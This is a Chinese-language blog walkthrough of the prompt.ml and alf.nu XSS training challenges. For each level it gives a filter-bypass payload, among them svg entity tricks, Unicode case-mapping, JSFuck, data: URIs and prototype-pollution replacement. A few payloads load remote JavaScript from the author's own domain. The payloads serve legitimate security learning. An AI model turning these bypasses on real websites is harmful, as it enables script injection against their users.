前言
由于各种原因吧,之前也没好好学过xss,就知道简单的闭合弹个窗什么的,趁暑假有时候,系统的学习一下xss。毕竟xss也是web安全的一个重头戏。而且看完一叶飘零师傅的文章,感觉xss比我之前想象的要强的多,也可以达到很强的破坏力。
就先和刷sqllibs一样吧,做一些题目练手。
prompt.ml
level 0
比较简单了,没做什么过滤和防护,闭合双引号就能逃逸出来了
level 1
做了一些过滤,不允许输入<xxx>
、</xxx>
形式的标签
1 | function escape(input) { |
然后我利用了下浏览器的容错性,增添了一个<img src=x onerror="alert(/xss/)"
的未闭合标签,也有可能是后面的</article>
中的>
对其进行了闭合,总之达到了一个xss的效果
level 2
果然很菜了,到第三道题就卡住了。过滤了=
、(
1 | function escape(input) { |
一开始想利用src
或者一些html编码发现貌似不行,于是无奈的看了下writeup。payload为
1 | <svg><script></script> |
于是有点好奇,为什么自己的实体编码不行,而它的又可以,而且把<svg>
标签替换成别的又无法执行
找了个篇很详细的文章http://pupiles.com/xss.html 我就不班门弄斧了。
由于<svg>
属于一种外部标签,对内部实体支持xml解析,于是就将html编码给解码成原来的样子了。从而产生xss
level 3
好吧,还是无奈的看了writeup,算是一个小trick把,html5中可以利用--!>
来闭合标签
payload
1 | --!><script>alert(/xss/)</script> |
level 4
好吧还是不会
1 | function escape(input) { |
题目中利用正则匹配,规定字符串起始只能为http://prompt.ml/
这里的一个小trick就是,url的另外一种形式http://username:password@host/
利用这个方式就可以将前面的prompt.ml
转换成用户名的格式,/
利用%2f
解码绕过从而加载自己网站上的js
payload:
1 | http://prompt.ml%2f@blog.kingkk.com/kingkktest/1.js |
有个问题,就是edge和chrome似乎已经不支持这种http://username:password@host/
格式的url
请求会被阻塞掉
目前就只有在火狐浏览器上能成功,算是一个小trick吧
level 5
1 | function escape(input) { |
过滤了onxxx
以及focus
之类的事件,也将>
过滤,导致无法闭合标签
这里有两个小点
- 浏览器默认解析第一个type属性
- 浏览的兼容性导致允许一些换行符的存在
这样,我们就可以将这个input
标签的属性变成image
,然后利用
1 | error |
进行绕过,js中正则的g
模式匹配空白符,但是不匹配换行符
于是payload为
1 | " type="image" src=1 onerror |
==、原来prompt(1)函数是用来通关用的,前面一直用的alert(/xss/)
level 6
emmm这题琢磨了蛮久的,一开始是由于代码的原因
1 | function escape(input) { |
输入demo的url之后会生成一段这样的html文本
1 | <form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form> |
主要的问题实在生成的html中,相当于我们可以控制html的form的action
、input的name
以及value
首先假如在action中嵌入javascript:alert(/xss/)
然后进行提交的时候,是会产生弹窗的
但是当我们这里将action的值设为javascript:alert(/xss/)
时,会被forbidden掉
1 | if (!/script:|data:/i.test(document.forms[0].action)) |
这里还有一个trick就是form.action
是会优先匹配name=action
的节点,匹配不到时,然后再去寻找action
属性的值
删除这个name=action
的节点时,就能匹配到form的action
值了
这样,这题的答案也就差不多出来了
1 | javascript:prompt(1) |
level 7
主要是利用js的注释,注释掉多余的html字符串,这个在括号里面的注释我是真的没想到。
但也比较容易想通,就直接上payload好了
1 | "><script>/*#*/prompt(1/*);#"*/);/*#*/</script> |
level 8
比较头疼的一题,搜了writeup,说是可以利用\u2028
、\u2029
来替代换行符
- 是U+2028,是Unicode中的行分隔符。
- 是U+2029,是Unicode中的段落分隔符。
由于根本手打不出这两个字,所以我选择了在本地上测试一下。发现了一些奇怪的东西
代码是这样的
1 | <body> |
这里确实可以利用\u2028
或者\u2029
当作换行符
但是当我为变量s
加上escape
函数的时候,就不能弹窗了,虽然显示的格式依旧一样
应该是\n\r
替换了其中的一部分东西吧,
总之,两个trick,
\u2028
\u2029
可以当作换行符使用-->
在js中可以当作注释符(单行注释)
这题就暂且到这
level 9
一个比较关键的点toUpperCase()
,它会将字符串转成大写的,作为防御的手段之一
然而问题也就出在这里
The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There’s a fairly large range of characters with this behavior and all browsers do it a bit differently.
并非所有的字符串都有大写,有时候浏览器会将他们转换成相似的形式,而且每个浏览器行为不同
例如chrome中会将ſ
大写转化后变成S
从而绕过正则,产生SCRIPT
标签
于是就可以构造<ſcript src=//kingkk.com/2.js></ſcript>
,在chorme中会被转换成
1 | <SCRIPT SRC=//KINGKK.COM/2.JS></SCRIPT> |
http和域名是大小写不敏感的,linux是大小写敏感的,我们只要在自己的服务器下放置2.JS
文件即可
level 10
感觉比较简单了,进行了两次过滤,只要在prompt中插入一个单引号就可以了
1 | pro'mpt(1) |
level 11
过滤了很多字符串,导致暂时无法改变语句。
看了writeup之后是说用in
运算符,则会执行前面的语句
可以看到虽然报了错,但是还是执行了alert
语句,利用这个方法就可以构造payload
1 | "(prompt(1))in" |
level 12
本来一开始想用eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 47, 120, 115, 115, 47, 41))
后来发现url编码之后,
不能使用了,于此同时,很多=
,:
之类的也不能用了
看了解法之后是用parseInt
他能得到一个字符串的十进制表示,利用toString
即可还原成字符
parseInt() 函数可解析一个字符串,并返回一个整数。
得到parseInt("prompt",36)
转换后的数字是1558153217
于是最终的payload就是
1 | eval(1558153217.toString(36)(1)) |
level 13
好吧,我也不知道是我看不懂还是不想看,总之看了一会逻辑不是很明白,就想着翻writeup了,就当学习一下trick了
第一个trick就是当实例中没有该属性的时候,js会去类的__proto__
中寻找该值,并返回
1 | > config = { "source":"http:www.kingkk.com","__proto__":{"source":"http://evil.com"} } |
还有一个trick是正则匹配的trick,关于$`的
1 | > 'abcdef'.replace('cd','$`123') |
当要替换的值中有$`的值时,会是上面这种匹配情况
最后的payload
1 | {"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}} |
终极复杂了,可以说没怎么看懂
level 14
好吧,其实一开始想到了尝试base64
的形式,但是base64是大小写敏感,这里的toUpperCase()
让我不知道怎么处理
看了writeup,构造出了一个base64全为大写的payload
1 | "><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4= |
由于无法将url指定到我的服务器,所以暂时也无法复现
level15
level7的升级版本,最主要的就是过滤了*
,于是就不能用/*
、*/
的方式来过滤
这里主要是利用<svg>
这种外部元素,会对其中的字符进行xml解析,也就导致了<!--
、-->
这种过滤符可以被使用
然后利用这个特性,就可以构造出payload了
1 | "><svg><!--#--><script></script> |
alf.nu
warmup
闭合即可
1 | ");alert(1);// |
adobe
转移了"
,那就另起一个script
标签
1 | )</script><script>alert(1);// |
json
一样的操作
1 | )</script><script>alert(1);// |
javascript
好吧,有点菜了,看不到实时生成的html代码就有点蒙蔽
由于之里会将url带入href的部分,会经过一次url解码,导致可以利用url编码的方式绕过
1 | 22);alert(1);// |
markdown
有两个对于markdown语法的正则替换
1 | function escape(s) { |
一开始是想到了将两个标签混合在一起,但还是差了点东西
最后看了writeup的payload
1 | [[a|http://onerror=alert(1)//]] |
这样之后,就会生成,从而产生xss
1 | <img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a> |
dom
输入TextNode
或者一些Script
标签时,后面的内容部分都会被转译成html实体,导致无法逃逸
这里的方法是输入一个Comment也就是注释标签,例如
1 | test |
就会生成一个
1 | <!--test--> |
这样,我们只要闭合了前面的<!--
,后面的部分就能自由发挥了
1 | Comment#--><script>alert(1)</script> |
callback
好吧,这题本来不应该没想到的,感觉潜意识里一直想用双引号来闭合,倒是忘了单引号
最后payload
1 | '#';alert(1);// |
skandia
把所有输入转换成了大写的
一开始是想从外部服务器引入js文件的,后来发现好像不支持连外网
于是看了writeup之后发现是利用data协议,进行html编码绕过大写
payload
1 | ");</script><script src=data:text/html,%61%6c%65%72%74(1) ></script><script>// |
tempalte
有点复杂,先空着
json 2
感觉做这个之前还是有一个逻辑没理清,就是解码顺序
1 | graph LR |
因此</script>
标签在script
标签中有最终的闭合权,无论是在引号还是在别的地方,因为第一次html解码时,是不会解析其中的js代码,只会去识别标签。
从而这里就可以利用双写的方式,来构造</script>
标签,从而闭合标签,造成xss
payload
1 | </s</scriptcript><script>alert(1);// |
callback 2
虽然是自己写出来的,但是有点蒙的成分,有个小trick
<!--
在js中也可以当作单行注释来用,然而之前的-->
只能在行头使用
payload
1 | 'alert#123';alert(1); <!-- |
skandia 2
无法使用<
、>
来闭合标签
一开始想利用toUpperCase
的特性,找两个转为大写后变成<
、>
的unicode字符
最后,想起里啊一个神奇的东西,jsfuck!
于是用jsfuck就可以轻松过关
1 | ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// |
Reference Link
http://heartsky.info/2016/07/11/prompt-1-writeup/
https://lorexxar.cn/2015/07/02/xss-p/
https://blog.csdn.net/he_and/article/details/79672900
http://heartsky.info/2016/07/13/alert-1-writeup/